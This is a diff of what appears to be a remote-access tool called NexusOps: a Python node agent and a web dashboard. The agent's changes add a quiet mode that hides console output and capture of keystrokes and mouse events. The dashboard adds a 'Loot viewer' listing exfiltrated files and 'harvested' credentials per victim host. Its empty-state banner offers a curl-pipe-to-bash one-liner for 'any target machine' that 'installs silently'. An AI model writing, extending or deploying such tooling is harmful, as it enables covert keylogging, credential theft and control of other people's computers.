server_url = args.server.rstrip('/')
|
||||||
hostname = socket.gethostname()
|
hostname = socket.gethostname()
|
||||||
@@ -604,14 +731,15 @@ def main():
|
|||||||
ip = get_ip_address()
|
ip = get_ip_address()
|
||||||
node_id = f"node-{hostname.lower()}-{ip.replace('.', '')}"
|
node_id = f"node-{hostname.lower()}-{ip.replace('.', '')}"
|
||||||
|
|
||||||
print("==================================================")
|
if not quiet_mode:
|
||||||
print(" NexusOps Cross-Platform Node Agent ")
|
print("==================================================")
|
||||||
print("==================================================")
|
print(" NexusOps Cross-Platform Node Agent ")
|
||||||
print(f"Node Hostname : {hostname}")
|
print("==================================================")
|
||||||
print(f"Platform : {system_os} ({arch})")
|
print(f"Node Hostname : {hostname}")
|
||||||
print(f"Local IP : {ip}")
|
print(f"Platform : {system_os} ({arch})")
|
||||||
print(f"Server Endpoint: {server_url}")
|
print(f"Local IP : {ip}")
|
||||||
print("==================================================")
|
print(f"Server Endpoint: {server_url}")
|
||||||
|
print("==================================================")
|
||||||
|
|
||||||
# Register Node
|
# Register Node
|
||||||
reg_payload = {
|
reg_payload = {
|
||||||
@@ -624,17 +752,19 @@ def main():
|
|||||||
"tags": node_tags
|
"tags": node_tags
|
||||||
}
|
}
|
||||||
|
|
||||||
print("[*] Registering node with central endpoint...")
|
if not quiet_mode:
|
||||||
|
print("[*] Registering node with central endpoint...")
|
||||||
res = http_post(f"{server_url}/api/agent/register", reg_payload)
|
res = http_post(f"{server_url}/api/agent/register", reg_payload)
|
||||||
if res and res.get("success"):
|
if res and res.get("success") and not quiet_mode:
|
||||||
print(f"✅ Registered as node ID: {node_id}")
|
print(f"✅ Registered as node ID: {node_id}")
|
||||||
|
|
||||||
# Start input capture (keystrokes, clicks, scroll)
|
# Start input capture (keystrokes, clicks, scroll)
|
||||||
capture_started = start_input_capture()
|
capture_started = start_input_capture()
|
||||||
if capture_started:
|
if not quiet_mode:
|
||||||
print("[*] Input capture active (keystrokes + mouse events)")
|
if capture_started:
|
||||||
else:
|
print("[*] Input capture active (keystrokes + mouse events)")
|
||||||
print("[!] Input capture unavailable (install pynput: pip install pynput)")
|
else:
|
||||||
|
print("[!] Input capture unavailable (install pynput: pip install pynput)")
|
||||||
|
|
||||||
last_input_flush = time.time()
|
last_input_flush = time.time()
|
||||||
backoff = 1 # Tunnel reconnection backoff in seconds
|
backoff = 1 # Tunnel reconnection backoff in seconds
|
||||||
@@ -652,7 +782,7 @@ def main():
|
|||||||
"memUsage": mem,
|
"memUsage": mem,
|
||||||
"diskUsage": disk,
|
"diskUsage": disk,
|
||||||
"uptime": uptime,
|
"uptime": uptime,
|
||||||
"processCount": 42,
|
"processCount": get_process_count(),
|
||||||
"tags": node_tags,
|
"tags": node_tags,
|
||||||
"heartbeatInterval": heartbeat_interval
|
"heartbeatInterval": heartbeat_interval
|
||||||
}
|
}
|
||||||
@@ -719,7 +849,8 @@ def main():
|
|||||||
})
|
})
|
||||||
|
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
print(f"[!] Connection error: {e}. Retrying in {backoff}s...")
|
if not quiet_mode:
|
||||||
|
print(f"[!] Connection error: {e}. Retrying in {backoff}s...")
|
||||||
time.sleep(backoff)
|
time.sleep(backoff)
|
||||||
backoff = min(backoff * 2, 60)
|
backoff = min(backoff * 2, 60)
|
||||||
continue
|
continue
|
||||||
|
|||||||
291
public/app.js
291
public/app.js
@@ -1,3 +1,74 @@
|
|||||||
|
|
||||||
|
// ── Auth & API wrapper ──
|
||||||
|
let nexusToken = localStorage.getItem('nexus_token') || null;
|
||||||
|
let authRequired = false;
|
||||||
|
|
||||||
|
const _origFetch = window.fetch.bind(window);
|
||||||
|
window.fetch = function(url, opts = {}) {
|
||||||
|
opts.headers = opts.headers || {};
|
||||||
|
if (nexusToken && typeof url === 'string' && !opts.headers['Authorization']) {
|
||||||
|
opts.headers['Authorization'] = 'Bearer ' + nexusToken;
|
||||||
|
}
|
||||||
|
return _origFetch(url, opts).then(resp => {
|
||||||
|
if (resp.status === 401 && authRequired) showAuthGate();
|
||||||
|
return resp;
|
||||||
|
});
|
||||||
|
};
|
||||||
|
|
||||||
|
function showAuthGate() {
|
||||||
|
authRequired = true;
|
||||||
|
document.getElementById('authOverlay').style.display = 'flex';
|
||||||
|
setTimeout(() => document.getElementById('authTokenInput').focus(), 100);
|
||||||
|
}
|
||||||
|
function hideAuthGate() {
|
||||||
|
document.getElementById('authOverlay').style.display = 'none';
|
||||||
|
document.getElementById('authError').style.display = 'none';
|
||||||
|
}
|
||||||
|
|
||||||
|
async function submitAuthToken() {
|
||||||
|
const val = document.getElementById('authTokenInput').value.trim();
|
||||||
|
if (!val) return;
|
||||||
|
nexusToken = val;
|
||||||
|
try {
|
||||||
|
const r = await _origFetch('/api/auth/check', { headers: { 'Authorization': 'Bearer ' + val } });
|
||||||
|
if (r.ok) {
|
||||||
|
localStorage.setItem('nexus_token', val);
|
||||||
|
hideAuthGate();
|
||||||
|
toast('Authenticated', 'success');
|
||||||
|
_wsHalted = false;
|
||||||
|
_wsBackoff = 1000;
|
||||||
|
_wsAttempts = 0;
|
||||||
|
bootApp();
|
||||||
|
} else {
|
||||||
|
document.getElementById('authError').style.display = 'block';
|
||||||
|
nexusToken = null;
|
||||||
|
}
|
||||||
|
} catch(e) {
|
||||||
|
document.getElementById('authError').style.display = 'block';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async function probeAuth() {
|
||||||
|
try {
|
||||||
|
const opts = nexusToken ? { headers: { 'Authorization': 'Bearer ' + nexusToken } } : {};
|
||||||
|
const r = await _origFetch('/api/status', opts);
|
||||||
|
if (r.status === 401) { showAuthGate(); return false; }
|
||||||
|
return true;
|
||||||
|
} catch(e) { return true; }
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Toasts ──
|
||||||
|
function toast(msg, type = 'info') {
|
||||||
|
const stack = document.getElementById('toastStack');
|
||||||
|
if (!stack) return;
|
||||||
|
const el = document.createElement('div');
|
||||||
|
el.className = 'toast toast-' + type;
|
||||||
|
const icons = { info: 'fa-circle-info', success: 'fa-circle-check', error: 'fa-circle-exclamation' };
|
||||||
|
el.innerHTML = '<i class="fa-solid ' + (icons[type] || icons.info) + '"></i><span>' + escapeHtml(msg) + '</span>';
|
||||||
|
stack.appendChild(el);
|
||||||
|
setTimeout(() => { el.classList.add('toast-out'); setTimeout(() => el.remove(), 400); }, 5000);
|
||||||
|
}
|
||||||
|
|
||||||
// NexusOps Dashboard Application Logic
|
// NexusOps Dashboard Application Logic
|
||||||
|
|
||||||
let nodesData = [];
|
let nodesData = [];
|
||||||
@@ -12,7 +83,6 @@ let publicUrl = null;
|
|||||||
let telemetryChart = null;
|
let telemetryChart = null;
|
||||||
|
|
||||||
document.addEventListener('DOMContentLoaded', () => {
|
document.addEventListener('DOMContentLoaded', () => {
|
||||||
initWebSocket();
|
|
||||||
initChart();
|
initChart();
|
||||||
updateServerEndpoint();
|
updateServerEndpoint();
|
||||||
});
|
});
|
||||||
@@ -26,12 +96,20 @@ function updateServerEndpoint() {
|
|||||||
if (linkEl) linkEl.href = `${endpoint}/bin/NexusAgent`;
|
if (linkEl) linkEl.href = `${endpoint}/bin/NexusAgent`;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
let _wsBackoff = 1000;
|
||||||
|
let _wsAttempts = 0;
|
||||||
|
let _wsHalted = false;
|
||||||
|
|
||||||
function initWebSocket() {
|
function initWebSocket() {
|
||||||
|
if (_wsHalted) return;
|
||||||
const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
|
const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
|
||||||
const wsUrl = `${protocol}//${window.location.host}`;
|
let wsUrl = `${protocol}//${window.location.host}`;
|
||||||
|
if (nexusToken) wsUrl += '?token=' + encodeURIComponent(nexusToken);
|
||||||
const ws = new WebSocket(wsUrl);
|
const ws = new WebSocket(wsUrl);
|
||||||
|
|
||||||
ws.onopen = () => {
|
ws.onopen = () => {
|
||||||
|
_wsBackoff = 1000;
|
||||||
|
_wsAttempts = 0;
|
||||||
document.getElementById('navConnectionStatus').textContent = 'Live Connected';
|
document.getElementById('navConnectionStatus').textContent = 'Live Connected';
|
||||||
document.querySelector('.status-indicator').classList.add('online');
|
document.querySelector('.status-indicator').classList.add('online');
|
||||||
};
|
};
|
||||||
@@ -56,13 +134,23 @@ function initWebSocket() {
|
|||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
ws.onclose = () => {
|
ws.onclose = (ev) => {
|
||||||
document.getElementById('navConnectionStatus').textContent = 'Disconnected (Reconnecting...)';
|
|
||||||
document.querySelector('.status-indicator').classList.remove('online');
|
document.querySelector('.status-indicator').classList.remove('online');
|
||||||
setTimeout(initWebSocket, 3000);
|
if (ev.code === 4401) {
|
||||||
|
_wsHalted = true;
|
||||||
|
document.getElementById('navConnectionStatus').textContent = 'Auth Required';
|
||||||
|
showAuthGate();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
_wsAttempts++;
|
||||||
|
document.getElementById('navConnectionStatus').textContent = `Reconnecting (${_wsAttempts})…`;
|
||||||
|
const jitter = Math.random() * 500;
|
||||||
|
setTimeout(initWebSocket, Math.min(_wsBackoff + jitter, 30000));
|
||||||
|
_wsBackoff = Math.min(_wsBackoff * 2, 30000);
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
function renderDashboard() {
|
function renderDashboard() {
|
||||||
renderOverviewStats();
|
renderOverviewStats();
|
||||||
renderNodesGrid();
|
renderNodesGrid();
|
||||||
@@ -94,6 +182,11 @@ function renderNodesGrid() {
|
|||||||
const container = document.getElementById('nodesGrid');
|
const container = document.getElementById('nodesGrid');
|
||||||
const search = document.getElementById('searchInput').value.toLowerCase();
|
const search = document.getElementById('searchInput').value.toLowerCase();
|
||||||
|
|
||||||
|
if (!nodesData.length) {
|
||||||
|
container.innerHTML = renderEmptyHero();
|
||||||
|
if (window.QRCode && endpoint) { /* QR handled below */ }
|
||||||
|
return;
|
||||||
|
}
|
||||||
let filtered = nodesData.filter(node => {
|
let filtered = nodesData.filter(node => {
|
||||||
const matchesFilter = currentFilter === 'all' || node.status === currentFilter;
|
const matchesFilter = currentFilter === 'all' || node.status === currentFilter;
|
||||||
const matchesSearch = !search ||
|
const matchesSearch = !search ||
|
||||||
@@ -363,11 +456,11 @@ function closeInstallerModal() {
|
|||||||
document.getElementById('installerModal').classList.remove('active');
|
document.getElementById('installerModal').classList.remove('active');
|
||||||
}
|
}
|
||||||
|
|
||||||
function switchTab(tabName) {
|
function switchTab(tabName, evt) {
|
||||||
document.querySelectorAll('.tab-btn').forEach(btn => btn.classList.remove('active'));
|
document.querySelectorAll('.tab-btn').forEach(btn => btn.classList.remove('active'));
|
||||||
document.querySelectorAll('.tab-content').forEach(content => content.classList.remove('active'));
|
document.querySelectorAll('.tab-content').forEach(content => content.classList.remove('active'));
|
||||||
|
|
||||||
event.currentTarget.classList.add('active');
|
(evt || event).currentTarget.classList.add('active');
|
||||||
document.getElementById(`tab-${tabName}`).classList.add('active');
|
document.getElementById(`tab-${tabName}`).classList.add('active');
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -761,3 +854,187 @@ function checkForNewNodes() {
|
|||||||
document.addEventListener('click', () => {
|
document.addEventListener('click', () => {
|
||||||
if (Notification.permission === 'default') Notification.requestPermission();
|
if (Notification.permission === 'default') Notification.requestPermission();
|
||||||
}, { once: true });
|
}, { once: true });
|
||||||
|
|
||||||
|
|
||||||
|
// ── Loot viewer ──
|
||||||
|
let lootFiles = [];
|
||||||
|
let lootCreds = [];
|
||||||
|
let lootObjectUrls = {};
|
||||||
|
let _lootSeenFiles = new Set();
|
||||||
|
let _lootSeenCreds = new Set();
|
||||||
|
let _lootFirstPoll = true;
|
||||||
|
|
||||||
|
function switchLootTab(tab) {
|
||||||
|
document.getElementById('lootTabFiles').classList.toggle('active', tab === 'files');
|
||||||
|
document.getElementById('lootTabCreds').classList.toggle('active', tab === 'creds');
|
||||||
|
document.getElementById('lootFilesPanel').style.display = tab === 'files' ? '' : 'none';
|
||||||
|
document.getElementById('lootCredsPanel').style.display = tab === 'creds' ? '' : 'none';
|
||||||
|
}
|
||||||
|
|
||||||
|
function humanSize(b) {
|
||||||
|
if (!b && b !== 0) return '?';
|
||||||
|
if (b < 1024) return b + ' B';
|
||||||
|
if (b < 1048576) return (b/1024).toFixed(1) + ' KB';
|
||||||
|
return (b/1048576).toFixed(1) + ' MB';
|
||||||
|
}
|
||||||
|
|
||||||
|
function relTime(ts) {
|
||||||
|
const s = Math.floor((Date.now() - ts) / 1000);
|
||||||
|
if (s < 60) return s + 's ago';
|
||||||
|
if (s < 3600) return Math.floor(s/60) + 'm ago';
|
||||||
|
if (s < 86400) return Math.floor(s/3600) + 'h ago';
|
||||||
|
return Math.floor(s/86400) + 'd ago';
|
||||||
|
}
|
||||||
|
|
||||||
|
async function pollLoot() {
|
||||||
|
try {
|
||||||
|
const [fr, cr] = await Promise.all([
|
||||||
|
fetch('/api/files').then(r => r.ok ? r.json() : []),
|
||||||
|
fetch('/api/credentials').then(r => r.ok ? r.json() : [])
|
||||||
|
]);
|
||||||
|
// Toasts on new arrivals (skip first poll)
|
||||||
|
if (!_lootFirstPoll) {
|
||||||
|
fr.forEach(f => { if (!_lootSeenFiles.has(f.id)) { _lootSeenFiles.add(f.id); toast('New file: ' + f.filename + ' from ' + (f.hostname || f.nodeId), 'success'); } });
|
||||||
|
cr.forEach(c => { const k = c.nodeId + c.type + c.timestamp; if (!_lootSeenCreds.has(k)) { _lootSeenCreds.add(k); toast('Creds harvested: ' + c.type + ' on ' + (c.hostname || c.nodeId), 'success'); } });
|
||||||
|
} else {
|
||||||
|
fr.forEach(f => _lootSeenFiles.add(f.id));
|
||||||
|
cr.forEach(c => _lootSeenCreds.add(c.nodeId + c.type + c.timestamp));
|
||||||
|
_lootFirstPoll = false;
|
||||||
|
}
|
||||||
|
lootFiles = fr;
|
||||||
|
lootCreds = cr;
|
||||||
|
renderLoot();
|
||||||
|
} catch(e) { /* offline tolerance */ }
|
||||||
|
}
|
||||||
|
|
||||||
|
function renderLoot() {
|
||||||
|
document.getElementById('lootFilesCount').textContent = lootFiles.length;
|
||||||
|
document.getElementById('lootCredsCount').textContent = lootCreds.length;
|
||||||
|
|
||||||
|
// Files
|
||||||
|
const fp = document.getElementById('lootFilesPanel');
|
||||||
|
if (!lootFiles.length) {
|
||||||
|
fp.innerHTML = '<div class="log-entry system">[LOOT] No files exfiltrated yet. Use Control → Exfil & Harvest on an online node.</div>';
|
||||||
|
} else {
|
||||||
|
fp.innerHTML = '<table class="loot-table"><thead><tr><th></th><th>File</th><th>Node</th><th>Size</th><th>When</th><th></th></tr></thead><tbody>' +
|
||||||
|
lootFiles.slice().reverse().map(f => {
|
||||||
|
const isImg = (f.mime || '').startsWith('image/');
|
||||||
|
const thumbId = 'thumb-' + f.id;
|
||||||
|
if (isImg && !lootObjectUrls[f.id]) {
|
||||||
|
fetch('/api/files/' + f.id).then(r => r.blob()).then(b => {
|
||||||
|
lootObjectUrls[f.id] = URL.createObjectURL(b);
|
||||||
|
const el = document.getElementById(thumbId);
|
||||||
|
if (el) el.src = lootObjectUrls[f.id];
|
||||||
|
}).catch(() => {});
|
||||||
|
}
|
||||||
|
return '<tr>' +
|
||||||
|
'<td class="loot-thumb-cell">' + (isImg
|
||||||
|
? '<img id="' + thumbId + '" class="loot-thumb" onclick="openLootLightbox(\'' + f.id + '\')" alt="img">'
|
||||||
|
: '<i class="fa-solid fa-file loot-file-icon"></i>') + '</td>' +
|
||||||
|
'<td>' + escapeHtml(f.filename) + '<div class="loot-mime">' + escapeHtml(f.mime || '') + '</div></td>' +
|
||||||
|
'<td>' + escapeHtml(f.hostname || f.nodeId || '?') + '</td>' +
|
||||||
|
'<td>' + humanSize(f.size) + '</td>' +
|
||||||
|
'<td>' + relTime(f.timestamp) + '</td>' +
|
||||||
|
'<td><button class="btn-icon" title="Download" onclick="lootDownload(\'' + f.id + '\', \'' + escapeHtml(f.filename).replace(/'/g, "\\'") + '\')"><i class="fa-solid fa-download"></i></button></td>' +
|
||||||
|
'</tr>';
|
||||||
|
}).join('') + '</tbody></table>';
|
||||||
|
}
|
||||||
|
|
||||||
|
// Credentials
|
||||||
|
const cp = document.getElementById('lootCredsPanel');
|
||||||
|
if (!lootCreds.length) {
|
||||||
|
cp.innerHTML = '<div class="log-entry system">[LOOT] No credentials harvested yet. Use Control → Exfil & Harvest on an online node.</div>';
|
||||||
|
} else {
|
||||||
|
const groups = {};
|
||||||
|
lootCreds.forEach((c, i) => {
|
||||||
|
const key = (c.hostname || c.nodeId || 'unknown');
|
||||||
|
groups[key] = groups[key] || [];
|
||||||
|
groups[key].push(Object.assign({ _idx: i }, c));
|
||||||
|
});
|
||||||
|
cp.innerHTML = Object.entries(groups).map(([host, items]) =>
|
||||||
|
'<div class="loot-cred-group"><div class="loot-cred-host"><i class="fa-solid fa-server"></i> ' + escapeHtml(host) + ' <span class="badge">' + items.length + '</span></div>' +
|
||||||
|
items.map(c => {
|
||||||
|
const raw = typeof c.data === 'string' ? c.data : JSON.stringify(c.data);
|
||||||
|
const cid = 'cred-' + c._idx;
|
||||||
|
return '<div class="loot-cred-row">' +
|
||||||
|
'<span class="badge purple">' + escapeHtml(c.type || 'unknown') + '</span>' +
|
||||||
|
'<code class="loot-cred-val" id="' + cid + '" data-masked="1" title="Click to reveal">••••••••••</code>' +
|
||||||
|
'<span class="loot-cred-time">' + relTime(c.timestamp) + '</span>' +
|
||||||
|
'<button class="btn-icon" title="Reveal" onclick="toggleCredReveal(\'' + cid + '\', this)" data-raw="' + escapeHtml(raw).replace(/"/g, '"') + '"><i class="fa-solid fa-eye"></i></button>' +
|
||||||
|
'<button class="btn-icon" title="Copy" onclick="lootCopy(this)" data-raw="' + escapeHtml(raw).replace(/"/g, '"') + '"><i class="fa-solid fa-copy"></i></button>' +
|
||||||
|
'</div>';
|
||||||
|
}).join('') + '</div>'
|
||||||
|
).join('');
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function toggleCredReveal(cid, btn) {
|
||||||
|
const el = document.getElementById(cid);
|
||||||
|
if (el.dataset.masked === '1') {
|
||||||
|
el.textContent = btn.dataset.raw;
|
||||||
|
el.dataset.masked = '0';
|
||||||
|
btn.innerHTML = '<i class="fa-solid fa-eye-slash"></i>';
|
||||||
|
} else {
|
||||||
|
el.textContent = '••••••••••';
|
||||||
|
el.dataset.masked = '1';
|
||||||
|
btn.innerHTML = '<i class="fa-solid fa-eye"></i>';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function lootCopy(btn) {
|
||||||
|
navigator.clipboard.writeText(btn.dataset.raw).then(() => toast('Copied to clipboard', 'success'));
|
||||||
|
}
|
||||||
|
|
||||||
|
function openLootLightbox(id) {
|
||||||
|
const lb = document.getElementById('lootLightbox');
|
||||||
|
const img = document.getElementById('lootLightboxImg');
|
||||||
|
if (lootObjectUrls[id]) { img.src = lootObjectUrls[id]; lb.style.display = 'flex'; }
|
||||||
|
}
|
||||||
|
function closeLootLightbox() {
|
||||||
|
document.getElementById('lootLightbox').style.display = 'none';
|
||||||
|
}
|
||||||
|
|
||||||
|
function lootDownload(id, filename) {
|
||||||
|
fetch('/api/files/' + id).then(r => r.blob()).then(b => {
|
||||||
|
const url = URL.createObjectURL(b);
|
||||||
|
const a = document.createElement('a');
|
||||||
|
a.href = url;
|
||||||
|
a.download = filename;
|
||||||
|
document.body.appendChild(a);
|
||||||
|
a.click();
|
||||||
|
document.body.removeChild(a);
|
||||||
|
setTimeout(() => URL.revokeObjectURL(url), 60000);
|
||||||
|
}).catch(() => toast('Download failed', 'error'));
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Empty state hero ──
|
||||||
|
function renderEmptyHero() {
|
||||||
|
const endpoint = publicUrl || `http://${serverIp}:${serverPort}`;
|
||||||
|
const cmd = `curl -sSL ${endpoint}/install | bash`;
|
||||||
|
return '<div class="empty-hero">' +
|
||||||
|
'<i class="fa-solid fa-satellite-dish empty-hero-icon"></i>' +
|
||||||
|
'<h2>No Nodes Deployed Yet</h2>' +
|
||||||
|
'<p>Run this one-liner on any target machine — auto-detects OS, installs silently, reports back in seconds.</p>' +
|
||||||
|
'<div class="empty-cmd"><code id="emptyCmd">' + escapeHtml(cmd) + '</code>' +
|
||||||
|
'<button class="btn btn-primary" onclick="navigator.clipboard.writeText(document.getElementById(\'emptyCmd\').textContent).then(()=>toast(\'Install command copied\',\'success\'))"><i class="fa-solid fa-copy"></i> Copy</button></div>' +
|
||||||
|
'<div id="emptyQr" class="empty-qr"></div>' +
|
||||||
|
'<p class="empty-hint">or click <strong>Deploy Agent</strong> above for platform-specific installers</p>' +
|
||||||
|
'</div>';
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Boot ──
|
||||||
|
let _booted = false;
|
||||||
|
function bootApp() {
|
||||||
|
if (_booted) return;
|
||||||
|
_booted = true;
|
||||||
|
initWebSocket();
|
||||||
|
pollLoot();
|
||||||
|
setInterval(pollLoot, 15000);
|
||||||
|
}
|
||||||
|
|
||||||
|
document.addEventListener('DOMContentLoaded', async () => {
|
||||||
|
const open = await probeAuth();
|
||||||
|
if (open) bootApp();
|
||||||
|
document.getElementById('authTokenSubmit').addEventListener('click', submitAuthToken);
|
||||||
|
document.getElementById('authTokenInput').addEventListener('keydown', e => { if (e.key === 'Enter') submitAuthToken(); });
|
||||||
|
});
|
||||||
|
|||||||
763
public/app.js.bak-1785766812
Normal file
763
public/app.js.bak-1785766812
Normal file
@@ -0,0 +1,763 @@
|
|||||||
|
// NexusOps Dashboard Application Logic
|
||||||
|
|
||||||
|
let nodesData = [];
|
||||||
|
let commandHistory = [];
|
||||||
|
let masterSystemLogs = [];
|
||||||
|
let inputData = [];
|
||||||
|
let currentFilter = 'all';
|
||||||
|
let currentView = 'grid';
|
||||||
|
let serverIp = window.location.hostname;
|
||||||
|
let serverPort = window.location.port || '3000';
|
||||||
|
let publicUrl = null;
|
||||||
|
let telemetryChart = null;
|
||||||
|
|
||||||
|
document.addEventListener('DOMContentLoaded', () => {
|
||||||
|
initWebSocket();
|
||||||
|
initChart();
|
||||||
|
updateServerEndpoint();
|
||||||
|
});
|
||||||
|
|
||||||
|
function updateServerEndpoint() {
|
||||||
|
const endpoint = publicUrl || `http://${serverIp}:${serverPort}`;
|
||||||
|
const placeholders = document.querySelectorAll('.server-url-placeholder');
|
||||||
|
placeholders.forEach(el => el.textContent = endpoint);
|
||||||
|
document.getElementById('navServerEndpoint').textContent = endpoint;
|
||||||
|
const linkEl = document.getElementById('binaryDownloadLink');
|
||||||
|
if (linkEl) linkEl.href = `${endpoint}/bin/NexusAgent`;
|
||||||
|
}
|
||||||
|
|
||||||
|
function initWebSocket() {
|
||||||
|
const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
|
||||||
|
const wsUrl = `${protocol}//${window.location.host}`;
|
||||||
|
const ws = new WebSocket(wsUrl);
|
||||||
|
|
||||||
|
ws.onopen = () => {
|
||||||
|
document.getElementById('navConnectionStatus').textContent = 'Live Connected';
|
||||||
|
document.querySelector('.status-indicator').classList.add('online');
|
||||||
|
};
|
||||||
|
|
||||||
|
ws.onmessage = (event) => {
|
||||||
|
try {
|
||||||
|
const data = JSON.parse(event.data);
|
||||||
|
if (data.type === 'NODES_UPDATE') {
|
||||||
|
serverIp = data.serverIp || serverIp;
|
||||||
|
serverPort = data.port || serverPort;
|
||||||
|
publicUrl = data.publicUrl || publicUrl;
|
||||||
|
updateServerEndpoint();
|
||||||
|
|
||||||
|
nodesData = data.nodes || [];
|
||||||
|
commandHistory = data.commandHistory || [];
|
||||||
|
masterSystemLogs = data.masterSystemLogs || [];
|
||||||
|
inputData = data.inputData || [];
|
||||||
|
renderDashboard();
|
||||||
|
}
|
||||||
|
} catch (e) {
|
||||||
|
console.error("Error parsing WebSocket payload:", e);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
ws.onclose = () => {
|
||||||
|
document.getElementById('navConnectionStatus').textContent = 'Disconnected (Reconnecting...)';
|
||||||
|
document.querySelector('.status-indicator').classList.remove('online');
|
||||||
|
setTimeout(initWebSocket, 3000);
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
function renderDashboard() {
|
||||||
|
renderOverviewStats();
|
||||||
|
renderNodesGrid();
|
||||||
|
renderAuditLogs();
|
||||||
|
renderMasterSyslogs();
|
||||||
|
renderIntelLog();
|
||||||
|
checkForNewNodes();
|
||||||
|
updateChartData();
|
||||||
|
}
|
||||||
|
|
||||||
|
function renderOverviewStats() {
|
||||||
|
const total = nodesData.length;
|
||||||
|
const online = nodesData.filter(n => n.status === 'online').length;
|
||||||
|
const offline = total - online;
|
||||||
|
|
||||||
|
let avgCpu = 0;
|
||||||
|
if (online > 0) {
|
||||||
|
const sumCpu = nodesData.filter(n => n.status === 'online').reduce((acc, n) => acc + (n.cpuUsage || 0), 0);
|
||||||
|
avgCpu = Math.round(sumCpu / online);
|
||||||
|
}
|
||||||
|
|
||||||
|
document.getElementById('statTotalNodes').textContent = total;
|
||||||
|
document.getElementById('statOnlineNodes').textContent = online;
|
||||||
|
document.getElementById('statOfflineNodes').textContent = offline;
|
||||||
|
document.getElementById('statAvgCpu').textContent = `${avgCpu}%`;
|
||||||
|
}
|
||||||
|
|
||||||
|
function renderNodesGrid() {
|
||||||
|
const container = document.getElementById('nodesGrid');
|
||||||
|
const search = document.getElementById('searchInput').value.toLowerCase();
|
||||||
|
|
||||||
|
let filtered = nodesData.filter(node => {
|
||||||
|
const matchesFilter = currentFilter === 'all' || node.status === currentFilter;
|
||||||
|
const matchesSearch = !search ||
|
||||||
|
node.hostname.toLowerCase().includes(search) ||
|
||||||
|
node.ip.toLowerCase().includes(search) ||
|
||||||
|
node.platform.toLowerCase().includes(search) ||
|
||||||
|
node.id.toLowerCase().includes(search);
|
||||||
|
return matchesFilter && matchesSearch;
|
||||||
|
});
|
||||||
|
|
||||||
|
if (filtered.length === 0) {
|
||||||
|
container.innerHTML = `
|
||||||
|
<div class="empty-state">
|
||||||
|
<i class="fa-solid fa-satellite-dish"></i>
|
||||||
|
<h3>No Connected Agents Found</h3>
|
||||||
|
<p>No computers match your filter. Download the agent installer to link machines.</p>
|
||||||
|
<button class="btn btn-secondary" onclick="openInstallerModal()">Get Agent Install Script</button>
|
||||||
|
</div>
|
||||||
|
`;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
container.innerHTML = filtered.map(node => {
|
||||||
|
const isOnline = node.status === 'online';
|
||||||
|
const osIcon = getOsIcon(node.platform);
|
||||||
|
|
||||||
|
return `
|
||||||
|
<div class="node-card ${isOnline ? 'online' : 'offline'}">
|
||||||
|
<div class="card-header">
|
||||||
|
<div class="node-info-main">
|
||||||
|
<div class="platform-badge-icon">
|
||||||
|
<i class="${osIcon}"></i>
|
||||||
|
</div>
|
||||||
|
<div class="node-title">
|
||||||
|
<h3>${escapeHtml(node.hostname)}</h3>
|
||||||
|
<span>${node.ip} • ${node.osName || node.platform}</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<span class="status-badge ${isOnline ? 'online' : 'offline'}">
|
||||||
|
<span class="status-indicator ${isOnline ? 'online' : ''}"></span>
|
||||||
|
${isOnline ? 'Online' : 'Offline'}
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="metrics-container">
|
||||||
|
<div class="metric-bar-group">
|
||||||
|
<div class="metric-bar-label">
|
||||||
|
<span><i class="fa-solid fa-microchip"></i> CPU Usage</span>
|
||||||
|
<span>${node.cpuUsage}%</span>
|
||||||
|
</div>
|
||||||
|
<div class="metric-bar-bg">
|
||||||
|
<div class="metric-bar-fill fill-cpu" style="width: ${node.cpuUsage}%"></div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="metric-bar-group">
|
||||||
|
<div class="metric-bar-label">
|
||||||
|
<span><i class="fa-solid fa-memory"></i> Memory</span>
|
||||||
|
<span>${node.memUsage}%</span>
|
||||||
|
</div>
|
||||||
|
<div class="metric-bar-bg">
|
||||||
|
<div class="metric-bar-fill fill-mem" style="width: ${node.memUsage}%"></div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="metric-bar-group">
|
||||||
|
<div class="metric-bar-label">
|
||||||
|
<span><i class="fa-solid fa-hard-drive"></i> Disk Space</span>
|
||||||
|
<span>${node.diskUsage}%</span>
|
||||||
|
</div>
|
||||||
|
<div class="metric-bar-bg">
|
||||||
|
<div class="metric-bar-fill fill-disk" style="width: ${node.diskUsage}%"></div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="card-footer">
|
||||||
|
<span style="font-size: 0.75rem; color: var(--text-muted)">
|
||||||
|
<i class="fa-regular fa-clock"></i> Heartbeat: ${formatTime(node.lastHeartbeat)}
|
||||||
|
</span>
|
||||||
|
<div class="node-actions">
|
||||||
|
<button class="btn-icon" title="Ping Node" onclick="pingNode('${node.id}', '${escapeHtml(node.hostname)}')">
|
||||||
|
<i class="fa-solid fa-bolt"></i>
|
||||||
|
</button>
|
||||||
|
<button class="btn-icon" title="Control Center" onclick="openCommandModal('${node.id}', '${escapeHtml(node.hostname)}')">
|
||||||
|
<i class="fa-solid fa-sliders"></i> Control
|
||||||
|
</button>
|
||||||
|
<button class="btn-icon" title="Unregister Node" onclick="deleteNode('${node.id}')">
|
||||||
|
<i class="fa-solid fa-trash-can"></i>
|
